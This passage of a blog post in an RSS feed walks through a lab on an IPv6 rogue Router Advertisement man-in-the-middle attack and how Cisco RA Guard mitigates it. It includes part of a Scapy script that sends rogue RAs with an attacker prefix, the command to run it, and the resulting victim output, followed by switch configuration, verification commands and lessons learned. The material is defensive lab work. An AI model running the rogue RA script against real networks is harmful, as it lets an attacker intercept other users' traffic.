&lt;/span&gt;        &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                 &lt;span class="c1"&gt;# Autonomous flag — TRIGGERS SLAAC
&lt;/span&gt;        &lt;span class="n"&gt;validlifetime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;preferredlifetime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2001:db8:dead::&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;             &lt;span class="c1"&gt;# Attacker-controlled prefix
&lt;/span&gt;    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Sending rogue RA to ff02::1 — all hosts on segment will receive this&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;sendp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rogue_ra&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iface&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;eth0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 rogue_ra.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What Happens on the Victims
&lt;/h3&gt;

&lt;p&gt;Check any Corp host immediately after:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;show&lt;/span&gt; ipv6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Before the attack — one address:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;After the attack — two addresses:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fe80::a8bb:ccff:fe00:1/64       link-local (normal)
2001:db8:2:10::a8bb:ccff:fe00:1/64   global — LEGITIMATE ✅
2001:db8:dead::a8bb:ccff:fe00:1/64   global — ROGUE ❌  ← NEW
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the default route on a Linux host:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip &lt;span class="nt"&gt;-6&lt;/span&gt; route show default
&lt;span class="c"&gt;# default via fe80::bad:1 dev eth0 proto ra metric 100&lt;/span&gt;
&lt;span class="c"&gt;#                   ^^^^&lt;/span&gt;
&lt;span class="c"&gt;#          This is Kali's link-local address&lt;/span&gt;
&lt;span class="c"&gt;#          ALL outbound IPv6 traffic now routes through the attacker&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The man-in-the-middle is established.&lt;/strong&gt; No victim noticed anything. No alert fired. The OS just did what the RFC told it to do.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. Mitigation and Verification
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Re-enable RA Guard
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface GigabitEthernet0/4
  ipv6 nd raguard attach-policy RAGUARD_HOST
end
write memory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Run the Exact Same Attack Again
&lt;/h3&gt;

&lt;p&gt;Same script, same interface, same 5 packets. Then check Corp hosts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;show&lt;/span&gt; ipv6
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Result: only the legitimate address is present.&lt;/strong&gt; The rogue &lt;code&gt;2001:db8:dead::&lt;/code&gt; prefix never appears.&lt;/p&gt;

&lt;h3&gt;
  
  
  Check the Drop Counters on the Switch
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DIST-SW# show ipv6 snooping statistics

  Packets received  :  5
  RA dropped        :  5    ← 100% of rogue RAs killed at the port ✅
  RA forwarded      :  0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single rogue RA was silently discarded at the switch ASIC, before it reached any host's network stack. The legitimate router's RAs continued flowing uninterrupted through the trusted uplink policy on &lt;code&gt;Gi0/0&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Full Verification Suite
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! On CORE-RTR
show running-config | include ipv6 unicast-routing   ! Must return a line
show ipv6 interface brief                            ! All SVIs show dual-stack addresses
show ipv6 neighbors                                  ! Corp hosts visible in NDP table
show ip access-lists ACL_V4_CORP_IN                 ! Hit counts &amp;gt; 0 after traffic
show ipv6 access-list ACL_V6_CORP_IN               ! Hit counts &amp;gt; 0 after traffic

! On DIST-SW
show ipv6 nd raguard policy RAGUARD_HOST            ! Gi0/1-4 listed as targets
show ipv6 nd raguard policy RAGUARD_ROUTER          ! Gi0/0 listed as target
show ipv6 snooping statistics                       ! RA dropped counter active
show vlan brief                                     ! VLANs 10, 99 present
show interfaces trunk                               ! Gi0/0 trunking VLANs 10, 99
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Lessons Learned
&lt;/h2&gt;

&lt;p&gt;Six things that tripped me up during this build — so you don't have to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;ipv6 unicast-routing&lt;/code&gt; is always the first thing to check.&lt;/strong&gt;&lt;br&gt;
If IPv6 isn't working on the router, this is almost certainly missing. There's no error when it's absent — traffic just drops silently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;show ipv6 unicast-routing&lt;/code&gt; does not exist.&lt;/strong&gt;&lt;br&gt;
The IOS command to verify it is &lt;code&gt;show running-config | include ipv6 unicast-routing&lt;/code&gt;. This is a surprisingly common gotcha in documentation and tutorials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. RA Guard requires IOS 15.2(4)S minimum.&lt;/strong&gt;&lt;br&gt;
On older images, the commands are accepted without error but have no effect. Check &lt;code&gt;show version&lt;/code&gt; before trusting your lab results.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. The parent physical interface must be &lt;code&gt;no shutdown&lt;/code&gt;.&lt;/strong&gt;&lt;br&gt;
Sub-interfaces remain down even if they have &lt;code&gt;no shutdown&lt;/code&gt; individually, if the parent (&lt;code&gt;Gi0/1&lt;/code&gt;) is still in its default shutdown state.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. &lt;code&gt;nd-ns&lt;/code&gt; and &lt;code&gt;nd-na&lt;/code&gt; must come before any deny.&lt;/strong&gt;&lt;br&gt;
This breaks silently. Hosts can't ARP (NDP) so they can't communicate over IPv6, but the routing table looks fine. It's one of the harder bugs to diagnose.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. Forgetting RAGUARD_ROUTER on the uplink looks identical to a connectivity failure.&lt;/strong&gt;&lt;br&gt;
If the real router's RAs are being dropped alongside the attacker's, SLAAC fails for everyone and you'll think there's a trunk or routing problem. Always check both policies.&lt;/p&gt;


&lt;h2&gt;
  
  
  11. Final Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;Expected&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IPv6 routing enabled&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ipv6 unicast-routing&lt;/code&gt; in config&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Corp hosts SLAAC an address&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;2001:db8:2:10::xxxx&lt;/code&gt; assigned&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPv4 ACL blocks lateral movement&lt;/td&gt;
&lt;td&gt;Corp → VLAN 99 denied&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IPv6 ACL parity with IPv4&lt;/td&gt;
&lt;td&gt;Both ACLs show hit counts&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NDP not blocked&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nd-ns&lt;/code&gt;/&lt;code&gt;nd-na&lt;/code&gt; permitted; NDP works&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rogue RA lands (Guard OFF)&lt;/td&gt;
&lt;td&gt;Hosts adopt &lt;code&gt;2001:db8:dead::&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RA Guard kills rogue RA&lt;/td&gt;
&lt;td&gt;Drop counter 5/5; no rogue address&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Legitimate RA unaffected&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;2001:db8:2:10::&lt;/code&gt; retained&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DHCPv6 Guard applied&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;device-role client&lt;/code&gt; on access ports&lt;/td&gt;
&lt;td&gt;✅ Pass&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All nine test cases passed. The key finding: &lt;strong&gt;RA Guard is a low-cost, high-impact control that requires zero changes on end hosts.&lt;/strong&gt; It drops rogue RAs at the switch ASIC before they reach the wire, at line rate, with no CPU overhead.&lt;/p&gt;

&lt;p&gt;But it only works as part of a complete security posture. The deeper lesson is the &lt;strong&gt;parallel policy principle&lt;/strong&gt;: every IPv4 control needs an explicit IPv6 counterpart at the same enforcement point. Without that discipline, IPv6 is an open side-channel through an otherwise hardened network — and SLAAC abuse is exactly the kind of attack that exploits it.&lt;/p&gt;


&lt;h2&gt;
  
  
  Resources and Code
&lt;/h2&gt;

&lt;p&gt;All configs, the attack script, and the full LaTeX report are available in the GitHub repository:&lt;/p&gt;

&lt;p&gt;🔗 &lt;strong&gt;&lt;a href="https://github.com/AhmedElEuch/dual-stack-security" rel="noopener noreferrer"&gt;github.com/AhmedElEuch/dual-stack-security&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;dual-stack-security/
├── configs/
│   ├── router/CORE-RTR.cfg     ← Full dual-stack router config + ACLs
│   └── switch/DIST-SW.cfg      ← VLANs, RA Guard, DHCPv6 Guard
├── attack/
│   └── rogue_ra.py             ← Scapy rogue RA script
├── report/
│   └── dual_stack_report.tex   ← Full LaTeX report (compile in Overleaf)
└── docs/
    ├── ADDRESSING.md
    ├── ACL_POLICY.md
    └── RA_GUARD.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;⚠️ The attack script is for &lt;strong&gt;authorized lab use only&lt;/strong&gt;. Never run it on a network you don't own.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Ahmed El Euch — Network Security Engineering&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>networking</category>
      <category>cybersecurity</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
